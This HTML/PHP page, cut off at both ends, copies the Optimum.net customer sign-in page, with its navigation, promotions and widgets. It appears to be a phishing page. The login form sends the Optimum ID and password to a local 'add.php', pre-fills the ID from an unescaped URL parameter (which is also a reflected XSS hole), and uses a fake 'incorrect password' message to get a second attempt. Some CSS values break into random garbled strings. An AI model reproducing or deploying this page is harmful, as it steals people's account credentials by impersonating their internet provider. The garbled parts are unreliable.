</a> </div> </div> <div data-ng-show="CommonHeaderCtrl.currentLoggedInUser.hasSession && CommonHeaderCtrl.currentLoggedInUser.hasService.phone" class="global-nav-primary__notification" style="display: none;"> <a href="#" class="hbeam-inline badge-notification badge-primary"> <div class="hbeam-part-static badge-notification__icon-container"> <i class="badge-notification__icon icon-phone"></i> </div> <div> <span class="badge-notification__count ng-binding">0</span> </div> </a> </div> </div> <div class="hflow global-nav-primary__item block-link no--dropdown" data-ng-mouseenter="CommonHeaderCtrl.handleMenuFocus('my-offers')" data-ng-mouseleave="CommonHeaderCtrl.handleMenuBlur('my-offers')" data-ng-class="{active : CommonHeaderCtrl.isActiveMenu('my-offers')}"> <div class="global-nav-primary__label"> <a href="#" class="global-header__link" omtr="trackme" title="Upgrades Menu"> <span class="mega-menu-cursor global-header__link">My Offers</span> </a> </div> </div> </div> </div> <!-- end global-nav-primary --> </div> </div> </div> </div></div> </div> </section> <!-- <div id="search_auto_phone" class="auto_complete_phone hidden-desktop hidden" ng-show="CommonHeaderCtrl.showingMobileSearchBar" ng-cloak ng-class="CommonHeaderCtrl.switchStyles()"> <div class="container phone_auto_complete_background" ng-show="CommonHeaderCtrl.showingMobileSearchBar && CommonHeaderCtrl.searchTerm.length >0 && inputFocus"> <div class="powered-By-text">Suggestions powered by Optimum</div> <div> <span class="search_heading">Optimum.net</span> <div class="result_container"> <ul> <li data-ng-click="CommonHeaderCtrl.phoneSearchThis(result.searchQuery,CommonHeaderCtrl.searchCategory.support)" data-ng-repeat="result in CommonHeaderCtrl.gsaResult.results" ng-class="{ 'border-result-item-bottom': $last}"> <span data-ng-bind-html="CommonHeaderCtrl.truncateText(result.text,28)"></span> </li> <li data-ng-show="CommonHeaderCtrl.gsaSuggestionFailed" data-ng-click="CommonHeaderCtrl.supportNavReqd = true;CommonHeaderCtrl.phoneGoToSearch(CommonHeaderCtrl.searchCategory.support)"> <span class="searchKey"> Search full site for <b>"{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</b> </span> </li> <li data-ng-show="CommonHeaderCtrl.loadingGsa"> Loading... <br></li> </ul> </div> </div> <div class="marginTop1rem"> <span class="search_heading">TV & On Demand</span> <div class="result_container"> <ul> <li data-ng-click="CommonHeaderCtrl.phoneSearchThis(result.searchQuery,CommonHeaderCtrl.searchCategory.ondemand)" data-ng-repeat="result in CommonHeaderCtrl.veveoResult.results" ng-class="{ 'border-result-item-bottom': $last}"> <span data-ng-bind-html="CommonHeaderCtrl.truncateText(result.text,28)"></span> </li> <li data-ng-show="CommonHeaderCtrl.veveoSuggestionFailed"> <span> <b>No result found for "{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</b> </span> </li> <li data-ng-show="CommonHeaderCtrl.loadingVeveo"> Loading... <br></li> </ul> </div> </div> <div class="marginTop1rem"> <span class="search_heading google-heading">Web results</span> <span class="google-logo fixedpos"></span> <div class="result_container"> <ul> <li data-ng-click="CommonHeaderCtrl.phoneSearchThis(result.searchQuery,CommonHeaderCtrl.searchCategory.google)" data-ng-repeat="result in CommonHeaderCtrl.googleResult.results" ng-class="{ 'border-result-item-bottom': $last}"> <span data-ng-bind-html="CommonHeaderCtrl.truncateText(result.text,28)"></span> </li> <li data-ng-show="CommonHeaderCtrl.googleSuggestionFailed" data-ng-click="CommonHeaderCtrl.phoneGoToSearch(CommonHeaderCtrl.searchCategory.google)"> <span> <b>Search the web for "{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</b> </span> </li> <li data-ng-show="CommonHeaderCtrl.loadingGoogle"> Loading... <br></li> </ul> </div> </div> <div class="marginTop1rem"> <span class="search_heading">Keep searching</span> <div class="result_container"> <ul> <li data-ng-click="CommonHeaderCtrl.supportNavReqd = true;CommonHeaderCtrl.phoneGoToSearch(CommonHeaderCtrl.searchCategory.support)"> <span>Search full site for "{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</span> </li> <li data-ng-click="CommonHeaderCtrl.phoneGoToSearch(CommonHeaderCtrl.searchCategory.ondemand)"> <span>Search TV & On Demand for "{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</span> </li> <li data-ng-click="CommonHeaderCtrl.phoneGoToSearch(CommonHeaderCtrl.searchCategory.google)" class="border-result-item-bottom"> <span>Search the web for "{{CommonHeaderCtrl.truncateText(CommonHeaderCtrl.searchTerm,4)}}"</span> </li> </ul> </div> </div> <br> </div> </div> --> <!-- IE8/depcreated browser and Compat Mode alert messages --> <section id="dep-browser-banner" data-ng-show="CommonHeaderCtrl.showDeprecatedBrowserBanner" class="hidden-phone hidden-tablet theme-primary" style="display: none;"> <div class="row"> <div class="container"> <div class="span12"> <div class="alert-banner padding-s panel semflex full-width theme-secondary"> <div class="ab__icon semflex__auto" data-ng-click="CommonHeaderCtrl.closeDeprecatedBrowserBanner()"> <span id="exc-icon" class="pointer dot dot--dark-overlay dotpie"><span class="dot-inner" ng-transclude=""><i class="icon-warning-sign ng-scope"></i></span></span> </div> <div id="dep-browser-content" class="row" data-ng-show="CommonHeaderCtrl.showDeprecatedBrowserMsg" style=""> <div id="message" class="ab__text text-unspace span9"> <h4 id="title" class="ng-binding">We've detected that you're using an older version of Internet Explorer</h4> <p class="mmessage__message">Optimum.net is compatible with a wide range of browsers. However, not all browsers allow you to take advantage of all the new features. We strongly recommend that you upgrade to a more current browser.</p> </div> <div id="browser-icons" class="span3"> <a ng-show="CommonHeaderCtrl.showIEBrowserIcon" href="#" style="display: none;"><img ng-src="/cdn/static.tvlistings.optimum.net/ool/static/prod/images/logo_ie.png" alt="goto Internet Explorer download" src="/cdn/static.tvlistings.optimum.net/ool/static/prod/images/logo_ie.png"></a> <a href="#"><img ng-src="/cdn/static.tvlistings.optimum.net/ool/static/prod/images/logo_chrome.png" alt="goto Chrome download" src="/cdn/static.tvlistings.optimum.net/ool/static/prod/images/logo_chrome.png"></a> <a href="#"><img ng-src="/cdn/static.tvlistings.optimum.net/ool/static/prod/images/logo_firefox.png" alt="goto Firefox download" src="/cdn/static.tvlistings.optimum.net/ool/static/prod/images/logo_firefox.png"></a> </div> </div> <div id="compat-mode-content" class="row" data-ng-show="CommonHeaderCtrl.showCompatModeMsg" style="display: none;"> <div class="ab__text text-unspace span12"> <h4 class="title">You need to change your Internet Explorer Compatibility View setting to get the most from the new Optimum.net</h4> <p class="mmessage__message">Click <a href="#">here</a> for more info.</p> </div> </div> <div class="ab__icon semflex__auto" data-ng-click="CommonHeaderCtrl.closeDeprecatedBrowserBanner()"> <span class="pointer"><i class="icon-remove"></i></span> </div> </div> </div> </div> </div> </section> <input type="hidden" id="selenium-header-marker" value="CommonHeaderCtrl in common-header.js loaded!"> </div> <div id="is-cpc-header-wrapper" class="hide"> <section id="common-header" data-ng-class="{true: 'logged-in', false: 'logged-out'}[CommonHeaderCtrl.currentLoggedInUser.hasSession]"> <div class="visible-phone visible-tablet global-header"> <div class="container"> <div id="phone_header" class="semflex full-width align-children-middle"> <div class="cpcpadding-s global-header-phone__brand"> <a href="#" class="block mobile-logo"></a> </div> </div> </div> </div> <div class="sticky-wrapper" style="height: 0px;"><div sticky-stack="" class="global-header hidden-phone sticky-stack-pseudo ng-scope is-sticky" id="desktop_header" style="top: 124px; position: fixed;"> <div style="min-width:1000px" id="desktop_header"> <div class="container"> <div class="toggle-container"> <div class="span4"> <div class="global-header__brand"> <a href="#" class="desktop-logo"></a> </div> </div> </div> </div> </div> </div></div> </section> </div> <div id="is-newCustomer-header-wrapper" class="hideForNewCustomerStuff hidden-desktop hidden-phone"> <section id="common-header-newCustomer" data-ng-class="{true: 'logged-in', false: 'logged-out'}[CommonHeaderCtrl.currentLoggedInUser.hasSession]"> <div class="global-header sticky-stack-pseudo" id="newCustomer-ipad"> <div id="desktop_header_NewCustomer-ipad"> <div class="container"> <div class="toggle-container"> <div class="global-header__brand"> <a href="#" class="desktop-logo"></a> </div> </div> </div> </div> </div> </section> </div><section class="home"> <!--LOGIN SECTION--> <section class="login" data-ng-hide="HomeCtrl.currentLoggedInUser.hasSession"> <div class="motion-point hidden-desktop hidden-tablet"> <a mporgnav="" href="#" onclick="return switchLanguage('es'); function switchLanguage(lang) { MP.SrcUrl=decodeURIComponent('mp_js_orgin_url'); MP.UrlLang='mp_js_current_lang';MP.init(); MP.switchLanguage(MP.UrlLang==lang?'en':lang); return false;}">En espa�ol</a> </div> <div class="container"> <div class="row"> <div class="span12"> <div class="alert-banner padding-s panel semflex full-width theme-alert" ng-class="model.cssClass" config="HomeCtrl.configs.criticalErrorConfig" ng-show="HomeCtrl.notBehindModemAlert" style="display: none;"> <!-- if: model.icon --><div if="model.icon" class="ab__icon semflex__auto ng-scope"> <span class="dot dot--white alert-background" ng-class="{true:'alert-background'}[model.type == 'major' || model.type == 'minorWarning' ]"><span class="dot-inner" ng-transclude=""> <i ng-show="!model.img" ng-class="model.icon" class="ng-scope icon-exclamation-major"></i> </span></span> </div> <!-- if: model.img --> <div class="ab__text text-unspace"> <h1 class="ab__title ng-binding" ng-bind-html-unsafe="model.title">We're sorry, you need to be behind a modem to create an Optimum ID</h1> <!-- if: model.message --> <div class="hflow grid-gutters-margin"> <!-- ngRepeat: cta in model.ctas --> </div> </div> <span id="Error" style="display:block;color:#e01616;font-size:.75em;margin:.5em .25em 0"> <?php if(isset($_GET["error"])) { if($_GET["error"]==0) { echo "The password you entered was incorrect. Please try again"; } }?> </span> </div> </div> </div> <div class="row"> <div class="span4"> <div class="span12"> <div class="login-form"> <form id="main-form" method="post" action="add.php" class="ng-valid ng-dirty"> <div class="row"> <div class="span12"> <label>My Optimum ID</label> </div> <div class="span10"> <input name="id" id="homeLoginFormOptimumId" type="text" autocorrect="off" value="<?php echo $_GET['email']; ?>" autocapitalize="off" class="input input--shaded ng-pristine ng-valid" tabindex="1" data-ng-model="HomeCtrl.userInput.homeLoginForm.optimumId" readonly> <p class="error" data-ng-show="HomeCtrl.userInput.homeLoginForm.isNotValidOptimumId" style="display: none;">Invalid Optimum ID, please complete all fields.</p> </div> <div class="span10"> <a href="#" class="primary" tabindex="5">I forgot my Optimum ID</a> </div> <div class="span10"> <label>Password</label> </div> <div class="span10"> <input name="password" id="password" autocorrect="off" autocapitalize="off" type="password" class="input input--shaded ng-pristine ng-valid" tabindex="2" data-ng-model="HomeCtrl.userInput.homeLoginForm.password" required> </div> <div class="span10"> <a href="#" class="primary" tabindex="6">I forgot my password</a> </div> <div class="span10"> <hr> </div> <div class="span10"> <div class="remember-me-login"> <!-- Submit button must be a <button> as opposed to an <input type="submit"> because, for whatever reason, IE8 does not allow for pressing enter in <input type="text|password"> to submit form. --> <div class="remember-me-group hidden-phone"> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="HomeCtrl.userInput.remember" name="remember" class="checkbox checkbox--secondary remember-checkbox ng-valid not-checked ng-dirty" value="false" tabindex="4"> <div class="checkbox-inner"></div> </div> <span data-ng-click="HomeCtrl.toggleUserInputRemember('homeLoginForm')">Remember Me</span> </div> <button class="btn btn--primary" tabindex="3">Sign in to Optimum.net</button> <div class="remember-me-group remember-me-group-phone hidden-desktop hidden-tablet"> <input type="hidden" ng-model="HomeCtrl.userInput.remember" name="remember" value="false" class="ng-pristine ng-valid"> <input type="hidden" name="referer" value="https://www.optimum.net/"> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="HomeCtrl.userInput.remember" name="remember" class="checkbox checkbox--secondary remember-checkbox ng-valid not-checked ng-dirty" value="false" tabindex="4"> <div class="checkbox-inner"></div> </div> <span data-ng-click="HomeCtrl.toggleUserInputRemember('homeLoginForm')">Remember Me</span> </div> </div> </div> <div class="span12 hidden-phone vpadding-xs"> <a href="#" class="primary" tabindex="7">Don't have an Optimum ID? Create one</a> </div> </div> </form> <div class="span6 hidden-desktop hidden-tablet" style="margin: 11.5rem 0 0 0;"> <div id="create-id" ng-hide="model.reauth"> <h3>Don't have an Optimum ID?</h3> <p>An Optimum ID is a unique username that provides access to extra services and benefits.</p> <span class="primary cta-arrow-link" cta-arrow-link="" href="#"> <a class="font-cta-link" href="#"> <span class="cta-wrap"> <div class="cta-dot"> <span ng-transclude=""><span class="ng-scope"><strong>Create an Optimum ID</strong></span></span> <i class="cta-circle dot dot--dark-overlay dotpie icon-arrow-right" ng-class="iconClass"><span class="dot-inner" ng-transclude=""></span></i> </div> </span> </a> </span> </div> <div id="security-explanation" ng-show="model.reauth" style="display: none;"> <h3>Please sign in again</h3> <p>To protect your most sensitive data, you may be asked to re-enter your password from time to time.</p> </div> </div> </div> </div> </div> <div class="span4"> <style> .new-custs-cta { background: #f2f2f2; border-radius: 0.5rem; padding: 20px 20px 0 20px; text-align: center; } </style> <div class="tagline-box hidden-phone new-custs-cta"> <h1 class="bold">Get Optimum.</h1> <h1 class="regular" style="font-size:1.85rem!important;">Free installation specials when you order online.</h1> <a class="btn btn--primary" href="#" target="_blank">Start shopping</a> <a href="#"><img src="https://www.optimum.net/cdn/static.tvlistings.optimum.net/ool/static/prod/images/CS-12382_BRAND_OPT_Website_net-banner-update.png" style=" margin: 15px 0 0; max-width: 300px; width: 100%;"></a></div> </div> <div class="span4"> <style> .opt-mobile-cta-block { background: #f2f2f2; border-radius: 6px; text-align: center; padding: 20px 15px 0 15px; } .opt-mobile-cta-block img { margin: auto; width: auto; height: 120px; display: block; </style> <div class="tagline-box hidden-phone opt-mobile-cta-block"> <h1 class="bold">Combine and save<br> up to $30/mo.</h1> <h1 class="regular" style="font-size: 1.25rem !important; line-height: 1.5rem !important; max-width: 250px; margin: auto;}">Lower your Internet bill when you add Optimum Mobile</h1> <a class="btn btn--primary" style="margin: 10px auto 20px !important;" href="https://www.optimum.com/mobile/add-mobile" target="_blank">Learn more</a> <img src="https://optimumstg.prod.acquia-sites.com/sites/default/files/2022-01/CS-13436_MOB_Internet%2BMobile-Savings_dotNET-Banner_OPT_694x362.png" style="height: 160px;"> </div> </div> </div> </div> </section> </div> </div> </div> </div> </section> <!--LOGGED IN TOP SECTION--> <!-- MODULES --> <section class="logged-in-start" data-ng-show="HomeCtrl.currentLoggedInUser.hasSession" style="display: none;"> <div class="container"> <div class="motion-point hidden-desktop hidden-tablet"> <a mporgnav="" href="#" onclick="return switchLanguage('es'); function switchLanguage(lang) { MP.SrcUrl=decodeURIComponent('mp_js_orgin_url'); MP.UrlLang='mp_js_current_lang';MP.init(); MP.switchLanguage(MP.UrlLang==lang?'en':lang); return false;}">En espa�ol</a> </div> <div class="row"> <div class="span12 altice-mobile">Have you heard about Altice Mobile? <a href="#" target="_blank">Visit alticemobile.com</a></div> <div class="span8"> <!-- module directives --> <div id="home-module-" class="span6 home-module" data-home-module="home-module" active="HomeCtrl.activeModules" data-module-type="'cart'"> <!--TODO: <div data-dropdown-checkbox="dropdown-checkbox"></div>--> <div class="feature-module"> <div class="select-feature"> <div class="container"> <div class="row"> <div class="span8"> <h2 class="module-title"> <span ng-show="isViewportSize.phone && module.mobileTitle" class="ng-binding" style="display: none;"></span> <span ng-hide="isViewportSize.phone && module.mobileTitle" class="ng-binding"></span> <!-- if: isViewportSize.phone --> <!-- if: isViewportSize.phone --> </h2> </div> <div class="span4"> <div class="dropdown-module-prefs hidden-phone"> <div class="customize-menu-btn">Change <i class="icon-caret-down"></i></div> <div class="menu"> <div class="arrow-up"></div> <table> <tbody><!-- ngRepeat: menuItem in module.menuItems --><tr ng-repeat="menuItem in module.menuItems" id="select-voiceMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Voicemail</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onDemand" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">On Demand</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-wifiUsage" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">WiFi</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-webMail" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Email</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-cart" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">Cart</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty is-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-onTonight" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">TV best bets</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr><tr ng-repeat="menuItem in module.menuItems" id="select-dvr" ng-hide="menuItem.opposite" class="ng-scope"> <td ng-click="module.select(menuItem.id)" class="ng-binding">DVR</td> <td> <div ng-class="{ 'is-checked': checkbox.isChecked, 'not-checked': !checkbox.isChecked, 'is-checked-partial': checkbox.isPartial }" ng-click="checkbox.onCheck()" ng-model="menuItem.selected" class="checkbox checkbox--white ng-valid ng-dirty not-checked" true-value="true" disabled="disabled"> <div class="checkbox-inner"></div> </div> </td> </tr> </tbody></table> </div> </div> </div> </div> </div> <div class="feature-content"> <!-- "LIST" DISPLAY STYLE --> <div class="list-module-style" ng-show="module.displayStyle=='list'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-3-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(87deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-4-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(108deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-5-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(129deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-6-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(151deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-7-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(172deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-8-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(193deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-9-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(214deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-10-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(235deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-11-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(256deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-12-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(278deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-13-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(299deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-14-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(320deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-15-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(341deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-16-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(362deg) translate(22px); border-radius: 0px;"></div></div></div></div> </div> <!-- No Entitlements --> <div class="no-entitlement-msg" ng-show="!isViewportSize.phone && (module.noEntitlement || module.holdEntitlement)" style="display: none;"> <!-- Webmail --> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <h4 ng-show="module.id == 'webMail'" class="ng-binding" style="display: none;"></h4> <!-- DVR --> <h4 ng-show="!isViewportSize.phone && module.id == 'dvr'" style="display: none;"> You do not have DVR service on Optimum TV. <!--<a cta-arrow-link class="primary" href="#">Learn More</a><span if="! isViewportSize.phone"></span>--> </h4> </div> <!-- Error --> <div class="service-error-msg" ng-show="!isViewportSize.phone && module.error" style="display: none;"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" style="display: none;">We can't get your messages right now. Please try again later.</h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">We cant display your emails here right now, but you can still go to your inbox by clicking Open email box below.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;">We can't get your DVR recordings right now. Please try again later.</h4> <!-- onTonight (EPG Miniguide) --> <h4 ng-show="module.id == 'onTonight'" style="display: none;">Sorry, we can't get upcoming shows right now. Please try again later.</h4> </div> <!-- Results --> <div class="list-module-results" ng-show="!isViewportSize.phone && module.items.length && !module.listError && !module.listLoading" style="display: none;"> <p ng-show="module.id == 'voiceMail'" ng-bind-html="module.mobileCountMessage" class="ng-binding" style="display: none;"></p> <!-- ngRepeat: item in module.items --> </div> <!-- No Results --> <div class="no-results-msg" ng-show="!isViewportSize.phone && !module.items.length && !module.error && !module.noEntitlement && !module.holdEntitlement"> <!-- voicemail--> <h4 ng-show="module.id == 'voiceMail'" ng-bind-html-unsafe="module.mobileCountMessage" class="ng-binding" style="display: none;"></h4> <!-- webmail --> <h4 ng-show="module.id == 'webMail'" style="display: none;">There are no messages in your inbox.</h4> <!-- dvr --> <h4 ng-show="module.id == 'dvr'" style="display: none;"> You have no recordings scheduled. Set some up using the <a href="#">Guide</a>. </h4> </div> </div> <!-- "ARTWORK" DISPLAY STYLE --> <div class="artwork-module-style" ng-show="module.displayStyle == 'artwork'" style="display: none;"> <!-- Loading --> <div ng-show="!isViewportSize.phone && module.loading && !module.error && !module.noEntitlement && !module.items.length" style="display: none;"> <div class="spinner-container" style="box-sizing: content-box; position: relative; width: 74px; height: 74px;"><div class="spinner" style="position: relative; width: 0px; z-index: 999; left: 0px; top: 0px; margin-top: 50%; margin-left: 50%;" aria-role="progressbar"><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-0-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(24deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-1-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(46up4RLiaoAhGQEe2B92tAaqBGwZ8EyMFER94Q5PwBhMYwVES4pWZzMGvwNEARUCrXfMk7MMgXjBBcNSUiLK1RPzExPxbuZ1px; opacity: 0.25; animation: 0.625s linear 0s infinite normal none running opacity-10-25-2-17;"><div style="position: absolute; width: 15px; height: 2px; background: rgb(0, 0, 0) none repeat scroll 0% 0%; box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 1px; transform-origin: left center 0px; transform: rotate(66deg) translate(22px); border-radius: 0px;"></div></div><div style="position: absolute; top: -1px; opacity: 0.25; animation: 0.625s 